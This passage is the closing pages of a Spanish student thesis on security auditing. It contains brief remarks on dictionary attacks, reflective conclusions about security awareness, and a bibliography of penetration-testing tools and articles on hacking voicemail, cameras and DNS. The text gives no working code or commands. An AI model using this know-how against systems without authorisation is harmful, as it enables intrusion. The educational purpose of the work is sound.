hora de realizar un ataque de diccionario. Hemos encontrado que en la web, hay mucha gente que
ha implementado diccionarios de passwords, catalogados en muchas categorías.

Página 97
A pesar de haber realizado ataques “sencillos”, se ha aprendido mucho, ya que ha sido un primer
contacto hacia aspectos técnicos de una auditoría de seguridad informática.

Página 98
Parte 3: Conclusiones y cierre del
Proyecto

Página 99
Conclusiones y cierre
Tras haber finalizado el proyecto, hay muchas ideas y conceptos sobre los que me gustaría ahondar.
La seguridad, parece un campo infinito, donde cada problema que se encuentra, tiene un efecto de
bola de nieve: intentando realizar algo, se encuentra un problema mayor, y otro, y otro y así
sucesivamente. Nunca se puede saber y realizar todo lo que uno quiere, y la seguridad informática
es un claro ejemplo, donde además, siempre interviene otra parte (ya sea atacante o defensora).
Siempre habrá alguien más listo y que sabrá más, y cada día, encontraremos nuevas herramientas
que vulneran nuevos fallos. Aparecerán nuevas técnicas, que con el avance de la tecnología, harán a
los sistemas más vulnerables.

Aún así, es nuestra tarea como profesionales, el intentar minimizar los riesgos, y tratar de hacer las
cosas lo mejor posible. Y personalmente, creo, que uno de los puntos que hay que ahondar más, es
el concienciar a las personas para que, en caso de emergencia puedan actuar como deben.

Como vemos a lo largo del proyecto, se han abordado muchísimos campos, algunos más
profundamente que otros. Posiblemente, el proyecto, hubiera tomado un matiz más técnico si se
hubiera abordado uno o dos campos, pero como ingenieros, debemos de conocer (al menos con un
mínimo grado de detalle) todos los campos expuestos.

Por último, me gustaría añadir, el hecho de que, tras haber sido víctima de un hacker en mis
propios ordenadores personales, poder comentar el hecho de que, no todo se puede solucionar
aplicando soluciones técnicas sino que, todos esos consejos que cada experto en seguridad aconseja,
todas las medidas de contención que aparecen en la web y manuales, efectivamente, son útiles, y
han conseguido que, pueda salir airoso del problema. Quizás antes no es que tomara muy en serio
estos consejos, pero si que apreciaba más la utilidad de la parte técnica. Ahora, visto lo visto, y tras
haber recorrido todo el camino de la elaboración del proyecto, me doy cuenta de que muchas veces,
no son solamente los medios informáticos son utilizados para el robo de información, y dar solución
a los problemas de seguridad de los mismos, sino que, gracias a lo aprendido, y la rápida y correcta
actuación de los usuarios, podemos solventar la mayoría de los problemas.

Página 100
Bibliografía
[1] Laboratorios Dragonjar http://labs.dragonjar.org/
[2] Web oficial NMAP http://nmap.org/
[3] Web oficial Netcat http://netcat.sourceforge.net/
[4] Blog Seguridad Security By Default http://www.securitybydefault.com/
[5] Blog Seguridad Pentester http://www.pentester.es/
[5] Diccionarios http://www.outpost9.com/files/WordLists.html
[6] Web oficial John The Ripper http://www.openwall.com/john/
[7] Web oficial Hydra http://www.xhydra.com/
[8] Web oficial Bactrak http://www.remote-exploit.org/backtrack.html
[9] OSSTMM 2.2 de ISECOM
[10] Syngress Penetration Testers Open Source Toolkit Volume 2
[11] Wikipedia http://wikipedia.org/
[12] Como funciona un exploit http://www.mipistus.blogspot.com/2008/04/ejemplo-de-cmo-
funciona-un-exploit.html
[13]Fallo dns http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html
[14]Firewalking http://www.scribd.com/doc/3254504/Firewalking
[15]PBX http://www.callcentermagazine.com/article/CTM20020404S0012
[16] Voicemail http://www.net-security.org/article.php?id=43
[17] Voivemail http://www.hispahack.com/oldweb/mi002.htm
[18] Voicemail http://www.securitybydefault.com/search?q=buz%C3%B3n+de+voz
[19] Fax http://www.governmentsecurity.org/hacking_multifunction_printers
[20] Bluetooth tools de SIl Janssens
[21] Cámaras vigilancia http://www.gnucitizen.org/blog/hacking-video-surveillance-networks/
[22] Syngress Metasploit Toolkit
[23] Syngress Nessus Network Auditing second edition

Página 101